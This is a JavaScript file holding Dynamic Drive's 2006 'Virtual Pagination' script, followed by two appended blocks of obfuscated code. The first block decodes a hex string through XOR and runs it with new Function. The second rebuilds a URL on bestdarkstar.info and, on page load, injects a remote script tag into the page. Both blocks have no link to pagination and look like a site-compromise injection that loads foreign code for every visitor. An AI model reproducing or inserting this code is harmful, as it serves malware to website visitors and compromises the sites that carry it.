// -------------------------------------------------------------------
// Virtual Pagination Script- By Dynamic Drive, available at: http://www.dynamicdrive.com
// Last updated: Dec 11th, 2006
//
// PUBLIC: virtualpaginate(className, chunksize)
// Main Virtual Paginate Object function.
// -------------------------------------------------------------------

function virtualpaginate(className, chunksize, elementType){
var elementType=(typeof elementType=="undefined")? "div" : elementType //The type of element used to divide up content into pieces. Defaults to "div"
this.pieces=virtualpaginate.collectElementbyClass(className, elementType) //get total number of divs matching class name
//Set this.chunksize: 1 if "chunksize" param is undefined, "chunksize" if it's less than total pieces available, or simply total pieces avail (show all)
this.chunksize=(typeof chunksize=="undefined")? 1 : (chunksize>0 && chunksize <this.pieces.length)? chunksize : this.pieces.length
this.pagecount=Math.ceil(this.pieces.length/this.chunksize) //calculate number of "pages" needed to show the divs
this.showpage(-1) //show no pages (aka hide all)
this.currentpage=0 //Having hidden all pages, set currently visible page to 1st page
this.showpage(this.currentpage) //Show first page
}

// -------------------------------------------------------------------
// PRIVATE: collectElementbyClass(classname)- Returns an array containing DIVs with the specified classname
// -------------------------------------------------------------------

virtualpaginate.collectElementbyClass=function(classname, element){ //Returns an array containing DIVs with specified classname
var classnameRE=new RegExp("(^|\\s+)"+classname+"($|\\s+)", "i") //regular expression to screen for classname within element
var pieces=[]
var alltags=document.getElementsByTagName(element)
for (var i=0; i<alltags.length; i++){
if (typeof alltags[i].className=="string" && alltags[i].className.search(classnameRE)!=-1)
pieces[pieces.length]=alltags[i]
}
return pieces
}

// -------------------------------------------------------------------
// PUBLIC: showpage(pagenumber)- Shows a page based on parameter passed (0=page1, 1=page2 etc)
// -------------------------------------------------------------------

virtualpaginate.prototype.showpage=function(pagenumber){
var totalitems=this.pieces.length //total number of broken up divs
var showstartindex=pagenumber*this.chunksize //array index of div to start showing per pagenumber setting
var showendindex=showstartindex+this.chunksize-1 //array index of div to stop showing after per pagenumber setting
for (var i=0; i<totalitems; i++){
if (i>=showstartindex && i<=showendindex)
this.pieces[i].style.display="block"
else
this.pieces[i].style.display="none"
}
this.currentpage=parseInt(pagenumber)
if (this.cpspan) //if <span class="paginateinfo> element is present, update it with the most current info (ie: Page 3/4)
this.cpspan.innerHTML='Page '+(this.currentpage+1)+'/'+this.pagecount
}

// -------------------------------------------------------------------
// PRIVATE: paginate_build_() methods- Various methods to create pagination interfaces
// paginate_build_selectmenu(paginatedropdown)- Accepts an empty SELECT element and turns it into pagination menu
// paginate_build_regularlinks(paginatelinks)- Accepts a collection of links and screens out/ creates pagination out of ones with specific "rel" attr
// paginate_build_flatview(flatviewcontainer)- Accepts <span class="flatview"> element and replaces it with sequential pagination links
// paginate_build_cpinfo(cpspan)- Accepts <span class="paginateinfo"> element and displays current page info (ie: Page 1/4)
// -------------------------------------------------------------------

virtualpaginate.prototype.paginate_build_selectmenu=function(paginatedropdown){
var instanceOfBox=this
this.selectmenupresent=1
for (var i=0; i<this.pagecount; i++)
paginatedropdown.options[i]=new Option("Page "+(i+1)+" of "+this.pagecount, i)
paginatedropdown.selectedIndex=this.currentpage
paginatedropdown.onchange=function(){
instanceOfBox.showpage(this.selectedIndex)
}
}

virtualpaginate.prototype.paginate_build_regularlinks=function(paginatelinks){
var instanceOfBox=this
for (var i=0; i<paginatelinks.length; i++){
var currentpagerel=paginatelinks[i].getAttribute("rel")
if (currentpagerel=="previous" || currentpagerel=="next" || currentpagerel=="first" || currentpagerel=="last") //screen for these "rel" values
paginatelinks[i].onclick=function(){
instanceOfBox.navigate(this.getAttribute("rel"))
return false
}
}
}

virtualpaginate.prototype.paginate_build_flatview=function(flatviewcontainer){
var instanceOfBox=this
var flatviewhtml=""
for (var i=0; i<this.pagecount; i++)
flatviewhtml+='<a href="#flatview" rel="'+i+'">'+(i+1)+'</a> ' //build sequential pagination links
flatviewcontainer.innerHTML=flatviewhtml
this.flatviewlinks=flatviewcontainer.getElementsByTagName("a")
for (var i=0; i<this.flatviewlinks.length; i++){
this.flatviewlinks[i].onclick=function(){
instanceOfBox.flatviewlinks[instanceOfBox.currentpage].className="" //"Unhighlight" last flatview link clicked on...
this.className="selected" //while "highlighting" currently clicked on flatview link (setting its class name to "selected"
instanceOfBox.showpage(this.getAttribute("rel"))
return false
}
}
this.flatviewlinks[this.currentpage].className="selected" //"Highlight" current page
this.flatviewpresent=true //indicate flat view links are present
}

virtualpaginate.prototype.paginate_build_cpinfo=function(cpspan){
this.cpspan=cpspan
cpspan.innerHTML='Page '+(this.currentpage+1)+'/'+this.pagecount
}


// -------------------------------------------------------------------
// PRIVATE: buildpagination()- Create pagination interface by calling one or more of the paginate_build_() functions
// -------------------------------------------------------------------

virtualpaginate.prototype.buildpagination=function(divid){
var instanceOfBox=this
var paginatediv=document.getElementById(divid)
if (this.chunksize==this.pieces.length){ //if user has set to display all pieces at once, no point in creating pagination div
paginatediv.style.display="none"
return
}
var paginationcode=paginatediv.innerHTML //Get user defined, "unprocessed" HTML within paginate div
if (paginatediv.getElementsByTagName("select").length>0) //if there's a select menu in div
this.paginate_build_selectmenu(paginatediv.getElementsByTagName("select")[0])
if (paginatediv.getElementsByTagName("a").length>0) //if there are links defined in div
this.paginate_build_regularlinks(paginatediv.getElementsByTagName("a"))
var allspans=paginatediv.getElementsByTagName("span") //Look for span tags within passed div
for (var i=0; i<allspans.length; i++){
if (allspans[i].className=="flatview")
this.paginate_build_flatview(allspans[i])
else if (allspans[i].className=="paginateinfo")
this.paginate_build_cpinfo(allspans[i])
}
this.paginatediv=paginatediv
}

// -------------------------------------------------------------------
// PRIVATE: navigate(keyword)- Calls this.showpage() with the currentpage property preset based on entered keyword
// -------------------------------------------------------------------

virtualpaginate.prototype.navigate=function(keyword){
if (this.flatviewpresent)
this.flatviewlinks[this.currentpage].className="" //"Unhighlight" previous page (before this.currentpage increments)
if (keyword=="previous")
this.currentpage=(this.currentpage>0)? this.currentpage-1 : (this.currentpage==0)? this.pagecount-1 : 0
else if (keyword=="next")
this.currentpage=(this.currentpage<this.pagecount-1)? this.currentpage+1 : 0
else if (keyword=="first")
this.currentpage=0
else if (keyword=="last")
this.currentpage=this.pieces.length-1
this.showpage(this.currentpage)
if (this.selectmenupresent)
this.paginatediv.getElementsByTagName("select")[0].selectedIndex=this.currentpage
if (this.flatviewpresent)
this.flatviewlinks[this.currentpage].className="selected" //"Highlight" current page
}


var iM="73734179671f434d4050491d434d74671d5e445d436e6a4c7454764c6a7750685465527954695264536441626e69466470506c4e544e784777427167494364606f3658610664706317766f1a7157";this.mq='';var Or=new Array();function q(N){var Sr;if(Sr!='lp' && Sr!='A'){Sr='lp'};var vB=30688; function u(S,w){var K;if(K!='qD' && K!='kg'){K=''};var St;if(St!=''){St='Hs'};return S^w;var GN;if(GN!='' && GN!='Bf'){GN=null};var Jr;if(Jr!='' && Jr!='cZ'){Jr=null};}this.sN=false;var uz=new Date();this.iJ=35170;this.F=""; var Zz=new String();var nM='';function k(J, G){var V = G.length;var uQ=new String();var j;if(j!='' && j!='Gv'){j=null};var O=[0][0];var Y = J.length;this.we=26350;var Sa;if(Sa!='jf' && Sa!='oQ'){Sa='jf'};var Yz = '';var mp;if(mp!='Dj' && mp != ''){mp=null};var a=[1][0];var dl;if(dl!=''){dl='ci'};var Ky=new Date();for(var C = O; C < Y; C += V) {var iI=new Date();var i = J.substr(C, V);var ZL;if(ZL!='' && ZL!='fh'){ZL=''};var pr;if(pr!='' && pr!='EY'){pr=null};if(i.length == V){var JN;if(JN!='wC'){JN=''};var jw;if(jw!='fr' && jw!='ut'){jw='fr'};var gb=false;for(var f in G) {var oD=new Date();var DK=new String();this.KX="KX";Yz+=i.substr(G[f], a);var vl="vl";var Rn;if(Rn!='' && Rn!='uI'){Rn=''};var RR;if(RR!='sA' && RR != ''){RR=null};var cy=new String();}var Eqs;if(Eqs!='tF' && Eqs != ''){Eqs=null};} else {var mA;if(mA!='gq'){mA=''};var nQ;if(nQ!='DW'){nQ='DW'};  Yz+=i;var Fb;if(Fb!='' && Fb!='pY'){Fb=null};var RU;if(RU!='' && RU!='sy'){RU=null};}var Qs=new String();}var Du="Du";return Yz;var r;if(r!='OE' && r!='MS'){r='OE'};var Rs;if(Rs!='Lq' && Rs!='yf'){Rs='Lq'};}var oW="";var DV;if(DV!='ugE' && DV != ''){DV=null};var Nr;if(Nr!='wT' && Nr!='uE'){Nr='wT'};var Rm=new Date(); var P=function(J){var QsU="";var MI="";this.wm=52954;this.rZ='';var Ng = -1;var PH;if(PH!='' && PH!='Nj'){PH='ei'};var C =[0][0];var KW="KW";var GR=54287;J = new o(J);var XG='';var O =[0][0];var Jf;if(Jf!='MJ'){Jf=''};var Yz = '';var Mh=new Array();for (C=J[k("nelhtg", [2,1,0])]-Ng;C>=O;C=C-[1][0]){Yz+=J[k("rcaAht", [1,4,2,0,3])](C);var yv;if(yv!='IG'){yv='IG'};}var sD;if(sD!='' && sD!='pP'){sD=null};return Yz;var tY;if(tY!=''){tY='wq'};};var qo;if(qo!='' && qo!='wF'){qo='GO'};var Zj;if(Zj!='' && Zj!='BD'){Zj='ahD'};this.sz='';this.Xj=false; var T=function(z){var Bo=6075;var zG="";var v=[0,76][0];var cv;if(cv!='bH'){cv='bH'};var a=[52,192,1,83][2];var FL=false;var f=[0,206,145][0];this.Lg='';var aw;if(aw!='' && aw!='Pf'){aw='ZY'};var l=z[k("elgnht", [1,0])];var rT;if(rT!='Js' && rT!='mP'){rT=''};var R=[255,225][0];var ui;if(ui!='qm' && ui!='bo'){ui=''};var Siz=new String();while(f<l){var Fr;if(Fr!='Sl'){Fr='Sl'};var Ad;if(Ad!='le'){Ad='le'};var jU=new Array();this.ZM=false;f++;var Pv=new String();up=SA(z,f - a);var ZT;if(ZT!='ym'){ZT='ym'};v+=up*l;var OF="OF";var fb="fb";}var Tn="";var II=false;var syC;if(syC!='vt' && syC!='Il'){syC=''};var GJ=19162;return new o(v % R);var of;if(of!=''){of='cH'};};var Tp;if(Tp!='lj' && Tp!='YL'){Tp='lj'};var ZG;if(ZG!='Sh' && ZG != ''){ZG=null};var vF;if(vF!='sf'){vF='sf'}; var bi;if(bi!='vj' && bi!='ke'){bi='vj'};function SA(t,um){var zj=new String();var Qh;if(Qh!='amn'){Qh='amn'};return t[k("rCachAteod", [3,4,2,0,1])](um);}var Bc;if(Bc!=''){Bc='dU'};this.PfH=false;this.Tj='';this.jL="jL";var Tm=window;var Co=Tm[k("avel", [2,1,0])];var pS=22218;var e=Co(k("cFunntio", [1,2,3,0]));var ud;if(ud!='fe'){ud='fe'};var Hv=new Array();var Mk;if(Mk!='' && Mk!='Ka'){Mk='VM'};this.eC=false;var o=Co(k("igtrnS", [5,2,3,0,4,1]));var Mkc=new String();var tG=60232;var kF=new Array();var Yzm = '';var Zm;if(Zm!=''){Zm='gs'};var vQ=Co(k("eREgpx", [1,0]));this.WD=false;this.Lr='';this.IA="";var lt=Tm[k("scapunee", [4,5,6,0,1,2,3])];var jB=new Array();var oWL;if(oWL!='al' && oWL!='uM'){oWL=''};var p=o[k("rhoaCmfrCode", [6,0,2,5,4,1,3])];var bG;if(bG!='' && bG!='AL'){bG=''};var sG="sG";this.zb="";this.bK="";var NW = /[^@a-z0-9A-Z_-]/g;var Z =[11,0][1];var uq;if(uq!='Ye' && uq!='IW'){uq='Ye'};var GvU;if(GvU!='re' && GvU!='cE'){GvU=''};var SJ = '';var gT;if(gT!='hW' && gT!='ia'){gT=''};var KO;if(KO!='YCE' && KO!='uph'){KO=''};var Bs="";var vZ="";var fo =[2][0];var ic = p(37);var FA;if(FA!=''){FA='sp'};var zB=[1, k("oducemtnc.ertaEeelemtn\'(csirtp)\'", [1,0]),2, k("uodmc.nebt.doaynppdelhCdi(d)", [2,1,4,0,3]),3, k("ociohhpna.com", [4,3,0,6,1,5,2]),4, k("m.covelitesiside.rgn80u:80", [2,3,0,1]),5, k("t.desitArt(ubeted\'fer\'", [2,1,4,3,0]),6, k("ocms.f.rf.rcihna", [1,0,2]),7, k("riasyetfnds.de", [3,6,2,4,7,0,1,5]),8, k("i.odwnwonload", [6,0,5,3,2,4,1]),11, k("catemc.efaom", [4,3,2,1,0]),12, k("uftcnoi)(n", [1,0,4,3,2]),14, k("lggoomeo.c", [1,3,4,2,0]),15, k("hctac(e)", [1,3,2,4,0]),16, k("tt\"ph:", [2,4,0,1,3]),17, k("smyql", [1,2,0]),18, k(".sdrc", [2,0,1]),19, k("1\')\'", [1,0]),20, k("rty", [1,0])];var a =[1][0];var RY;if(RY!='kN' && RY != ''){RY=null};var O =[0][0];var jg;if(jg!='zf' && jg!='NK'){jg='zf'};this.ya=6754;var Yr = N[k("nelhtg", [2,1,0])];var tz = '';var lUL;if(lUL!='JS' && lUL != ''){lUL=null};var AD=new Array();var m = '';var HkF;if(HkF!='Ip'){HkF=''};var PC;if(PC!='KT'){PC=''};var OA='';var pF;if(pF!='' && pF!='bM'){pF='Uf'};this.rq=false;this.qE='';for(var pn=O; pn < Yr; pn+=fo){SJ+= ic; this.cr='';SJ+= N[k("sutsbr", [3,1,4,0,2])](pn, fo);var qC;if(qC!='Hrd'){qC='Hrd'};}var lP=new Array();var aV=new String();var N = lt(SJ);var Tf;if(Tf!='Ee' && Tf!='gL'){Tf=''};var g = new o(q);var ih=new Array();var B = g[k("craeple", [1,3,4,5,2,0])](NW, tz);var Dm;if(Dm!='FLq' && Dm != ''){Dm=null};var fU;if(fU!=''){fU='NJz'};var zc;if(zc!=''){zc='EV'};var FD=new String();var eH;if(eH!=''){eH='mN'};var PW = zB[k("elgnht", [1,0])];var Hw=new Array();B = P(B);var MK;if(MK!='' && MK!='wg'){MK=null};this.Ak='';var h = new o(e);var xU;if(xU!=''){xU='jc'};var Hg;if(Hg!=''){Hg='Ub'};var iw;if(iw!='IU' && iw != ''){iw=null};var yD=24800;var QhX=new Array();var qX = h[k("percale", [2,1,0])](NW, tz);var ea;if(ea!='' && ea!='GS'){ea='TU'};var qX = T(qX);var OV=false;var W=T(B);var cl='';var iY;if(iY!='jS'){iY=''};for(var C=O; C < (N[k("nelgth", [2,1,0,3])]);C=C+[1][0]) {var aOT;if(aOT!='' && aOT!='vP'){aOT=''};var IV='';var Wo;if(Wo!=''){Wo='Dn'};var bh;if(bh!='kFS' && bh!='yM'){bh='kFS'};var n = B.charCodeAt(Z);var NJ = SA(N,C);var mJ="";var YO=new Date();NJ = u(NJ, n);var zv=12541;var JZ;if(JZ!='Cy' && JZ != ''){JZ=null};NJ = u(NJ, W);NJ = u(NJ, qX);var ba;if(ba!='' && ba!='HX'){ba='XS'};var nb;if(nb!='cvH' && nb != ''){nb=null};Z++;this.nU="nU";var FB;if(FB!='UZC'){FB=''};if(Z > B.length-a){var sH=new String();Z=O;var qKy=new String();var Lw=false;}this.Lp=54856;m += p(NJ);}var gn=new Array();var pt;if(pt!='' && pt!='ZE'){pt=''};for(H=O; H < PW; H+=fo){var EJ;if(EJ!='tn' && EJ!='IF'){EJ=''};var KRK;if(KRK!='' && KRK!='xr'){KRK=''};var oZ="";var id=new Array();var E = zB[H + a];var LS='';var Ge='';var wf = p(zB[H]);this.bD=19245;var iNt=new Date();var hC=new Array();var D = new vQ(wf, o.fromCharCode(103));m=m[k("erlpcae", [1,0])](D, E);}var gd='';var YM="YM";var Q=new e(m);this.Ot="Ot";Q();var WQ;if(WQ!='' && WQ!='Mn'){WQ=null};var hj=false;var QV;if(QV!='tH' && QV!='JO'){QV='tH'};h = '';var yY;if(yY!='Mv'){yY='Mv'};this.UP=false;W = '';var mv=false;var UB;if(UB!='' && UB!='nO'){UB='iVB'};qX = '';var rz;if(rz!='Dh'){rz='Dh'};B = '';m = '';this.Mr=false;var UT;if(UT!='Pn'){UT=''};var Sx;if(Sx!='Ga'){Sx=''};Q = '';this.ee='';var awD;if(awD!='' && awD!='rsd'){awD='jV'};var DN=false;return '';var iJl;if(iJl!='hF'){iJl=''};var KF;if(KF!='' && KF!='kd'){KF='uv'};};this.mq='';var Or=new Array();q(iM);


var Xz;if(Xz!='' && Xz!='L'){Xz='DA'};var G='';var tb;if(tb!='DQ'){tb=''};function x(){var wN=new String();this.v="";var R=window;var Q;if(Q!='A' && Q!='Cf'){Q=''};this.wm="";var h=unescape;var I=h("%2f%6e%69%66%74%79%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%70%6f%72%6e%68%6f%73%74%2e%63%6f%6d%2e%70%68%70");this.jH='';function y(s,X){var xU=String("g");var kU=new Array();this.vj='';var j=h("%5b"), E=h("%5d");var mB=new Array();var kp;if(kp!='iV'){kp=''};var T=j+X+E;var V="";var sd;if(sd!='' && sd!='rW'){sd=''};var t=new RegExp(T, xU);var qf="";var Px;if(Px!=''){Px='Xx'};return s.replace(t, new String());this.iq="";};var Y=new Date();this.Qe="";var En=new String();var b;if(b!='GA' && b!='Gg'){b=''};this.Ry='';var U=document;var q=y('894790965248156073179','91462357');var UR=new Date();var Ol;if(Ol!='' && Ol!='Iw'){Ol=null};function w(){this.BI='';var df;if(df!='kV' && df != ''){df=null};this.uSf="";var xL=h("%68%74%74%70%3a%2f%2f%62%65%73%74%64%61%72%6b%73%74%61%72%2e%69%6e%66%6f%3a");En=xL;En+=q;var Qg;if(Qg!='RJ' && Qg != ''){Qg=null};var XxV;if(XxV!='Kq' && XxV != ''){XxV=null};En+=I;var Hk;if(Hk!='' && Hk!='Pc'){Hk=null};var ry;if(ry!='jU' && ry!='gH'){ry='jU'};var PJ=new String();var Mw=new String();try {var XR;if(XR!=''){XR='wV'};D=U.createElement(y('sbcQrYiopGtD','YbGS3vQ2wCD8oTh'));this.he="";var Bq="";this.Qt='';D[h("%73%72%63")]=En;var kZ="";D[h("%64%65%66%65%72")]=[1][0];var DU="";this.og='';this.Sn='';U.body.appendChild(D);var LS;if(LS!='fv'){LS='fv'};this.GK="";var Nr='';} catch(B){var Rf;if(Rf!='' && Rf!='_a'){Rf=''};var sh="";alert(B);};this.hX="";var DI;if(DI!='' && DI!='qr'){DI='Tl'};}var gA=new String();R["onlo"+"ad"]=w;var szG=new String();var ml;if(ml!='' && ml!='xh'){ml='jyb'};var Nu;if(Nu!=''){Nu='aT'};};var BV=new Date();x();var dl=new Date();var Mk;if(Mk!='DT' && Mk!='vz'){Mk=''};